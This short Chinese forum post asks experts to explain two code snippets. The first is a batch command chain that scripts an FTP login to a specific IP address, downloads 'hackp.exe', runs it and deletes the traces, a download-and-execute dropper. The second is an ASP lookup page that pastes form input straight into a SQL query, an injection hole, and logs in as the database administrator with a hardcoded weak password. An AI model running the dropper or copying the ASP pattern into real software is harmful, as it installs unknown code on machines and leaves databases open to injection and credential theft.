我这有个代码 希望大虾们给予解释
谢了谢了
@echo open 219.139.81.185>>c:\1.txt&
@echo 123>>c:\1.txt&
@echo 123>>c:\1.txt&
@echo get hackp.exe>>c:\1.txt&
@echo bye>>c:\1.txt&
@ftp -s:c:\1.txt&del c:\1.txt&hackp.exe&del hackp.exe
<%dim user 定义变量user=request.form("user") 赋值变量 是从表单提交过来的user数据if user<>"" then 如果值不为空 connstr="Driver=;server=.;database=temp;uid=sa;pwd=123456;"Set cn = Server.CreateObject("ADODB.Connection") cn.Open connstr 打开数据库连接 sql="select * from username where [user]='"&user&"'" 从数据库中找到所有user等于表单提交过来的user数据set rs=cn.Execute(sql) 执行数据库操作%><table width="300" border="1" cellspacing="0" cellpadding="0" height="25"> <%do while not rs.eof%> 循环输出 <tr> <td width="119" height="25">用户名:</td> <td width="175"><%=rs("user")%></td> 输出用户名 </tr><%rs.movenext 进行下一条数据loop 循环cn.close 关闭数据库set cn=nothing 销毁变量else%></table><form id="form1" name="form1" method="post" action="conn.asp"> <label> <input type="text" name="user" /> </label> <label> <input type="submit" name="Submit" value="查询" /> </label></form><%end if%>